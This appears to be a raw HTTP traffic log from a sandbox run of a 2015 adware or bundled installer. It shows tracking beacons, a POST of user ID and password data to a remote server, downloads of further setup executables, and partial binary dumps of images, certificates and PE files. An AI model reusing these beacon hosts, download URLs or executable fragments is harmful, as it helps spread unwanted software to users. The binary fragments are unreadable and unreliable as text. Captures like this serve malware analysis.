x-amz-request-id: 2328DAF487017862

Date: Tue, 10 Feb 2015 04:00:09 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 25 Feb 2014 00:15:10 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /apps.gif?action=install&app=65743&appver=&ver=1_36_01_22&version_date=15-02-10&bic=504B5080F5604A4B9DFA4FB197512D8FIE&verifier=02bca8db07d4973ae815b702cb828c08&upi=d5d8d8a61601751d467a5854a16ce35a&procid=0C0F36F89C9C467C97874D76CD233AF7PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1423540799&lifetime=0&silent=1&crtnm=ClashProject&procstarttime=1423540799&procruntime=10&rnd=1423540809 HTTP/1.1

Host: stats.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: wLlXPEJrweZmfUd uK8Nwllz ZIhX/dxkyf11ILUKwSNpEVzbG9VNfRvCiVtpBski3dTfa5WhjI=

x-amz-request-id: F96AA389CDB9FC0A

Date: Tue, 10 Feb 2015 04:00:09 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 25 Feb 2014 00:15:01 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: wLlXPE
JrweZmfUd uK8Nwllz ZIhX/dxkyf11ILUKwSNpEVzbG9VNfRvCiVtpBski3dTfa5WhjI=
..x-amz-request-id: F96AA389CDB9FC0A..Date: Tue, 10 Feb 2015 04:00:09 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 25 Feb 2014 00:15:01 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;..

GET /webplayer/flvplayer/html/images/logo.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.bigspeedpro.com/webplayer/flvplayer/html/flvplayer.html

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.bigspeedpro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:45 GMT

Content-Type: image/png

Content-Length: 6594

Last-Modified: Tue, 16 Oct 2012 13:39:24 GMT

Connection: close

ETag: "507d638c-19c2"

Accept-Ranges: bytes
.PNG........IHDR.......:.......}.....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:E486967A179611E2AA41CD2D
25E03266" xmpMM:DocumentID="xmp.did:E486967B179611E2AA41CD2D25E03266"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E4869678179611E2AA
41CD2D25E03266" stRef:documentID="xmp.did:E4869679179611E2AA41CD2D25E0
3266"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>:=A....6IDATx..].xU..^.Lw.Mr..H......7 ..J.
q......Z..W....m?.. j... ._...6.u...".P.d..20...Mn.;.....I...{3.......
{..g...........Mo=..~Sz............Do:Ht..M.I......]n.A...7.$:H...D...
t`....A...Q...p...D...t.. ...t:H.. [email protected]...<s.<
;.?y..O*..2..x......vI....s...=.....c*....j..c.w7.G(......O...k.....X.
u...;........._..\.I..>/...3...W...V.!9.d.;..B ..b.x~v.o.6]OU..DM..
^z.*.*b.C4..qI0..R.(s.a.cQj#.*"..^...-9..5...>....[.\..>...u..fz
........K..a8...3LA....[.....B...4.....G...,..GY.#......".@.:....).?..
.....S........\..;.1.v[....R...6....vF.l1...a:...1...M.'@...yj.?..<<< skipped >>>

GET /baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkc= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.omniroot.com


HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: application/ocsp-response

Date: Tue, 10 Feb 2015 04:01:25 GMT

Last-Modified: Thu, 05 Feb 2015 19:47:05 GMT

Server: ECS (ams/D1C2)

X-Cache: HIT

Content-Length: 1406
0..z......s0..o.. .....0.....`0..\0......`;.l.uZ..k.F..^|A.Tb..2015020
5094606Z0g0e0=0... ........./Ev..Y..].....x.#......Y0.GX....T6.{:..M..
..'.G....20150204200915Z....20150505201415Z0...*.H.............g...].R
...<[email protected].... .......v...MM.pos"y.#F..{K........D
.S_.F?.u...........Z"..?.....Q.:4...pm.T.R../{iU..6.........3z3.".....
.a._P.....e.n$-...SCoP..V....l.B.CU!....D..8....O. _....AHl{W=Dc. .(.I
`.h..e..R........I..K...6!.r....>t.l.../.I....0...0...0...........'
..0...*.H........0Z1.0...U....IE1.0...U....Baltimore1.0...U....CyberTr
ust1"0 ..U....Baltimore CyberTrust Root0...150114195242Z..160114195229
Z0G1.0...U....US1.0...U....Cybertrust1#0!..U....Cybertrust-Validation-
20110.."0...*.H.............0.........?....(Fb....G... ..=..(L..wK...0
4..I......C...1.Z......U.$b.f..Pa.....S...#..B.........^T..IP8........
..h8GM..*.4.MP..../[email protected]
.x....$..@@....q2...Uby.e......D....lf...C....ZP}O......7...mM..c.g..j
.\.>.O....G.A........0..0... .....0......0...U.......0.0...U.......
....0...U.%..0... .......0...U.#..0.....Y0.GX....T6.{:..M.0...U......`
;.l.uZ..k.F..^|A.Tb0...*.H.............n.h\Ch*G.c..yr..."._....J.-....
j.t%..e.....([email protected]!m...sZH.N..>.S....K..........7wi3..x.D..l..u
d.....CC......<.&.2. ..d...T.......;.S....\... ......m.6......#(.&.
...q.[z.........r..T....W...7ea.}..B.1........al.]i.F...-.0c...y.=?...
.E...........'>..O.._..<<< skipped >>>

GET /v4/searchprotect/535559167_198339_B48A115F?action=visit.heartbeat.smt&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,4.0.1.1716 HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 10 Feb 2015 03:59:58 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.87 ms","message":"store 2 action and 4 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 10 Feb 20
15 03:59:58 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.87 ms","message":"store 2 ac
tion and 4 update "}..0..

GET /utility.gif?report=fdata&f=3&c=820&i=10&n=ms_started&rnd=29132 HTTP/1.1

Host: errors.crossrider.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.6.0

Date: Tue, 10 Feb 2015 04:00:01 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Connection: close

GIF89a.............!.......,...........L..;..

GET /utility.gif?report=fdata&f=3&c=820&i=30&n=ms_download_success&rnd=9423 HTTP/1.1

Host: errors.crossrider.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.6.0

Date: Tue, 10 Feb 2015 04:00:03 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Connection: close

GIF89a.............!.......,...........L..;..

GET /ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCBH5CtNBDuCd HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: clients1.google.com


HTTP/1.1 200 OK

Content-Type: application/ocsp-response

Date: Mon, 09 Feb 2015 13:44:47 GMT

Expires: Fri, 13 Feb 2015 13:44:47 GMT

Server: ocsp_responder

Content-Length: 463

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Age: 51343

Alternate-Protocol: 80:quic,p=0.02

Cache-Control: public, max-age=345600

0..........0..... .....0......0...0......J......h.v....b..Z./..2015020
9070755Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.
.....A.......20150209070755Z....20150216070755Z0...*.H..............-.
..Z3..\.wUy......z..U..........mAh.8.3}............9Qu....u.b.........
&ZN/.i.Bnj...xf!.m...D.CF... .eF.J..I.K....8.n~%;....q....z....d....k.
E.9.x..|.aU...l......t!TW.......,.p..V..C.Iu..5........I$.#l......b...
..5..25Y.Yh....cW.k.c].....a....]..>O....D.HTTP/1.1 200 OK..Content
-Type: application/ocsp-response..Date: Mon, 09 Feb 2015 13:44:47 GMT.
.Expires: Fri, 13 Feb 2015 13:44:47 GMT..Server: ocsp_responder..Conte
nt-Length: 463..X-XSS-Protection: 1; mode=block..X-Frame-Options: SAME
ORIGIN..Age: 51343..Alternate-Protocol: 80:quic,p=0.02..Cache-Control:
 public, max-age=345600..0..........0..... .....0......0...0......J...
...h.v....b..Z./..20150209070755Z0k0i0A0... ..........j.....p.I.#z...(
~d..J......h.v....b..Z./......A.......20150209070755Z....2015021607075
5Z0...*.H..............-...Z3..\.wUy......z..U..........mAh.8.3}......
......9Qu....u.b.........&ZN/.i.Bnj...xf!.m...D.CF... .eF.J..I.K....8.
n~%;....q....z....d....k.E.9.x..|.aU...l......t!TW.......,.p..V..C.Iu.
.5........I$.#l......b.....5..25Y.Yh....cW.k.c].....a....]..>O....D
...

<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=281428-

User-Agent: Better Installer(Mozilla)

Host: d1mvy92rurx48h.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache

......................................................................
....................~~~.}}}...........................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
................................PPPPPPPPPPPPPPPPPKMNNNNNNNNNNOLO......
.........O...&:..........O.JHHGGGGGGGGHI.O.JEEEEEEEEEEFC.O.JEEEEEEEEEE
FC.O.JEEEEEEEEEEFD.O.JEFEEEEEEEEEB.O%JEEEEEEEEEFFB.O.JJIIIIJIIIIJJ.O(@
>=77A779?<8;$O' ........"!..)O6530./21 *-,4#4PPPPPPPPPPPPPPPPPPP
PPPPPPPPPPPPPP........................................................
........(...0...`..... ...............................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................

<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1290844

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 09 Feb 2015 16:46:32 GMT

Accept-Ranges: bytes

ETag: "ef7a73f58744d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:02 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2b7e0587e76bdc8afc2d63bea659b942.cloudfront.net (CloudFront)

X-Amz-Cf-Id: vBDbyCXPR5EydB-uS9GGY_CR5hBbz5cJZf8RFjvInwfIzxXeNC3wSQ==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /webplayer/flvplayer/html/images/bg_header.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.bigspeedpro.com/webplayer/flvplayer/html/flvplayer.html

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.bigspeedpro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:46 GMT

Content-Type: image/jpeg

Content-Length: 1213

Last-Modified: Tue, 16 Oct 2012 13:33:42 GMT

Connection: close

ETag: "507d6236-4bd"

Accept-Ranges: bytes
......Exif..II*.................Ducky.......d..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmp
MM:InstanceID="xmp.iid:190EFAD8179611E2B0D795DA28C48482" xmpMM:Documen
tID="xmp.did:190EFAD9179611E2B0D795DA28C48482"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:190EFAD6179611E2B0D795DA28C48482" stRef:d
ocumentID="xmp.did:190EFAD7179611E2B0D795DA28C48482"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
....................:...............j.................................
...........................Q1BC....Rb.Aa...2..3.....................!.
"............?..RL.....g....Ap....o3P.p....v..........(2...<..s..HK
..,o...O....

POST /online/Report.aspx HTTP/1.1

Content-Type: multipart/form-data;boundary=---------------------------4EA728097F6C

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Content-Length: 852

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=bxiizz55zjgy0qyekng0vi55

-----------------------------4EA728097F6C

Content-Disposition: form-data; name="ProductID"

-----------------------------4EA728097F6C

Content-Disposition: form-data; name="Version"

3.3.9.4

-----------------------------4EA728097F6C

Content-Disposition: form-data; name="UserID"

e5482312-2be3-46f2-b003-7761c59feba2

-----------------------------4EA728097F6C

Content-Disposition: form-data; name="Password"

oP5QhnYw

-----------------------------4EA728097F6C

Content-Disposition: form-data; name="XmlData"

<xml><VERSION>3.3.9.4</VERSION><ACCFAILUREINFO>kJ79Iwl e1s2/G8nRzh5ELBkVPoUjhogZ7pxoWdsrUU0WQQicfmo07WDE3STM32CP0gISt2/sLfwO4RkVciWc/kiuWQtfNTYfCc56FjccT1XXcVBUJlIVi2n2PaSTXVTobfpyd uyKERKswPDh1GAkRy6DZO1LiivytcG5MEgIAbtdK8bYfXZ1SeqXDIGTM3qRRGU6wa1Qw=</ACCFAILUREINFO></xml>

-----------------------------4EA728097F6C--


HTTP/1.1 200 OK

Connection: close

Date: Tue, 10 Feb 2015 03:59:36 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 486
..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "h
ttp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html 
xmlns="hXXp://VVV.w3.org/1999/xhtml" >..<head><title>..
.Untitled Page..</title></head>..<body>..    <for
m name="form1" method="post" action="Report.aspx" id="form1">..<
input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwU
JNzgzNDMwNTMzZGQUJSQ6xqCofiIPEnKrtJGqWg0fIQ==" />..    <div>.
.    ..    </div>..    </form>..</body>..</html&g
t;....

GET /img/youtube-accelerator-logo.png HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=v42ebrdc5eunyodkxgchp5ds


HTTP/1.1 200 OK

Content-Type: image/png

Last-Modified: Tue, 10 Jun 2014 08:53:04 GMT

Accept-Ranges: bytes

ETag: "0d8fd638984cf1:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 04:00:21 GMT

Content-Length: 9214
.PNG........IHDR.......H.....E.......tEXtSoftware.Adobe ImageReadyq.e&
lt;... iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS5 Windows" xmpMM:InstanceID="xmp.iid:81D309AAC21F11E29064D5C06D
ED1D59" xmpMM:DocumentID="xmp.did:81D309ABC21F11E29064D5C06DED1D59">
; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:81D309A8C21F11E29064
D5C06DED1D59" stRef:documentID="xmp.did:81D309A9C21F11E29064D5C06DED1D
59"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> 
<?xpacket end="r"?>O9.j.. tIDATx..]...U.>..z.g&.dB.........DQ
Q..P?.]..V...2....j..ovM.]?.UID].\Hv.|..%....`..C...B.........}V......
.......IU.t..u.....{..d.L.Nb.......l..ocF.y.v1.T.}j.<..FW.aJ..@ ...
.A..`v.....Bf. <~."......g2H..@ ...RG..I.o....s......l\..Y..xT..Mj.
[email protected]{/[email protected]<.........@.
B ..$.rX..c..a.n..'....JA....v.mS.......f[N\. 8..W`d.g6...-.aw..0...0H
=.Y[....1.&...C#i!.......<...>.2.B.....vFT'...8'...&.0eE.A....VV
....$WH....O...7...y......(Sb4J}mb.%f."i!......[.. .3.d.....M.. ......
...b.K.......$0...U...8i.TnA.7.I.......0.{. ..X.Qf.`.uf#HZ...13I..<<< skipped >>>

GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/flvplayerkuiw/49e8b48101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8b48101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d4ekdi381yoqv.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 26401

Connection: keep-alive

Server: nginx

Date: Mon, 09 Feb 2015 16:11:51 GMT

Last-Modified: Mon, 09 Feb 2015 16:03:40 GMT

ETag: "54d8da5c-6721"

Expires: Mon, 09 Feb 2015 16:21:51 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 417

X-Cache: Hit from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: x_6uALU8UwEDqRB-oW47g39BgRkrmgdX9gmYRgpzRBAlFR4Z7bpafQ==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d...M..#.....P#.]..'
...H...........4.Y.3u....Mp.c.R..8.....U........`z.L......sQ..QG.<.
.\..Lg.....,.T(b.*..-..~.`....N.M.gbgtX,.s...T..~...$..\.K^.."..".gE.n
J.f..f..fi.:.S,...<z.I...P...s.B#\..2>...<.0G................
;.....'.G.N..3....oV&k{.kK....8....G9-...e.-..A...>|.0m.....[G.6m..
..#...r.x..f...z.Zy.f"..)..s.Y.o...........t..!*..T<T..G6.../.g.?E.
.......I-.8q[.\..wJ.N.[}..*.'...<....s....\...F' .. ....M..!|.....o
.]..].b....R.R1"..o...h...rQ<...a..b/...'s.n. ..//\.v....h{..^g<<< skipped >>>

GET /root.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.globalsign.net


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 04:02:38 GMT

Content-Type: application/x-pkcs7-crl

Content-Length: 649

Connection: keep-alive

Set-Cookie: __cfduid=df64027c152be9406984eee797e4ef3fd1423540958; expires=Wed, 10-Feb-16 04:02:38 GMT; path=/; domain=.globalsign.net; HttpOnly

Last-Modified: Thu, 11 Dec 2014 05:33:42 GMT

CF-Cache-Status: HIT

Expires: Wed, 11 Feb 2015 04:02:38 GMT

Cache-Control: public, max-age=86400

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1b65698d8a070f75-FRA

0...0..m...0...*.H........0W1.0...U....BE1.0...U....GlobalSign nv-sa1.
0...U....Root CA1.0...U....GlobalSign Root CA..141210000000Z..15033100
0000Z0..0*.........D.....141125000000Z0.0...U.......0*........)E.....1
41125000000Z0.0...U.......0*........ ...h..141125000000Z0.0...U.......
0*........,^.....141125000000Z0.0...U......../0-0...U....../0...U.#..0
...`{f.E....P/}..4....K0...*.H..............'~.f...V'..4..)..7....hg..
.,.f5k&'.....D.(.n...EV.Hx.h..Y...d..>....n.../.\...r....%ZX-Du....
.^/K.&.).....24.,.q..l.N..W.,.Lx...U'(.qn..^j5R........d_,.h8......C..
S..6$..(.\..5... n5h...<......za2.#r..E)..?..R.r..R.i...\.....9k...
w..V46..m...u..I.L.......HTTP/1.1 200 OK..Date: Tue, 10 Feb 2015 04:02
:38 GMT..Content-Type: application/x-pkcs7-crl..Content-Length: 649..C
onnection: keep-alive..Set-Cookie: __cfduid=df64027c152be9406984eee797
e4ef3fd1423540958; expires=Wed, 10-Feb-16 04:02:38 GMT; path=/; domain
=.globalsign.net; HttpOnly..Last-Modified: Thu, 11 Dec 2014 05:33:42 G
MT..CF-Cache-Status: HIT..Expires: Wed, 11 Feb 2015 04:02:38 GMT..Cach
e-Control: public, max-age=86400..Accept-Ranges: bytes..Server: cloudf
lare-nginx..CF-RAY: 1b65698d8a070f75-FRA..0...0..m...0...*.H........0W
1.0...U....BE1.0...U....GlobalSign nv-sa1.0...U....Root CA1.0...U....G
lobalSign Root CA..141210000000Z..150331000000Z0..0*.........D.....141
125000000Z0.0...U.......0*........)E.....141125000000Z0.0...U.......0*
........ ...h..141125000000Z0.0...U.......0*........,^.....14112500000
0Z0.0...U......../0-0...U....../0...U.#..0...`{f.E....P/}..4....K0

<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh/sBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAaeHbd/zx37qXr15cmiQDc= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.digicert.com


HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=515619

Content-Type: application/ocsp-response

Date: Tue, 10 Feb 2015 04:00:23 GMT

Etag: "54d95cef-1d7"

Expires: Mon, 16 Feb 2015 16:00:23 GMT

Last-Modified: Tue, 10 Feb 2015 01:20:47 GMT

Server: ECS (ams/49E4)

X-Cache: HIT

Content-Length: 471
0..........0..... .....0......0...0........P5V.L.f........=.U..2015020
9200000Z0s0q0I0... .........Q..2...}Q......b.U.....P5V.L.f........=.U.
[email protected]...*.H........
.....b......7.g.y....X.5.*.T.~.....6.........g.....`.4....V..{...qb..5
L.........'.........}[email protected] 0.E.v.....Q...n.)..qk.;...g...}.k..#
........c..KI...n&p..|LX........M..... .,h.o...x....A=t#....X.qU...>
;..uo....\..xM.^.A..}.......0....i..O3.A)Tj..I./k.....HTTP/1.1 200 OK.
.Accept-Ranges: bytes..Cache-Control: max-age=515619..Content-Type: ap
plication/ocsp-response..Date: Tue, 10 Feb 2015 04:00:23 GMT..Etag: "5
4d95cef-1d7"..Expires: Mon, 16 Feb 2015 16:00:23 GMT..Last-Modified: T
ue, 10 Feb 2015 01:20:47 GMT..Server: ECS (ams/49E4)..X-Cache: HIT..Co
ntent-Length: 471..0..........0..... .....0......0...0........P5V.L.f.
.......=.U..20150209200000Z0s0q0I0... .........Q..2...}Q......b.U.....
P5V.L.f........=.U...........z....@7....20150209200000Z....20150216200
000Z0...*.H.............b......7.g.y....X.5.*.T.~.....6.........g.....
`.4....V..{...qb..5L.........'.........}[email protected] 0.E.v.....Q...n.)
..qk.;...g...}.k..#........c..KI...n&p..|LX........M..... .,h.o...x...
.A=t#....X.qU...>..uo....\..xM.^.A..}.......0....i..O3.A)Tj..I./k..
.......
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQgppSLAb7oJaQ6RVV2Zh9VwZIGMwQUkHHbN+tzyO/c1R4StjS6K1qgppICEAhNBHHxCxzajegaZLj8jyw= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.digicert.com


HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=511069

Content-Type: application/ocsp-response

Date: Tue, 10 Feb 2015 04:00:23 GMT

Etag: "54d95eb5-1d7"

Expires: Mon, 16 Feb 2015 16:00:23 GMT

Last-Modified: Tue, 10 Feb 2015 01:28:21 GMT

Server: ECS (ams/D1B3)

X-Cache: HIT

Content-Length: 471

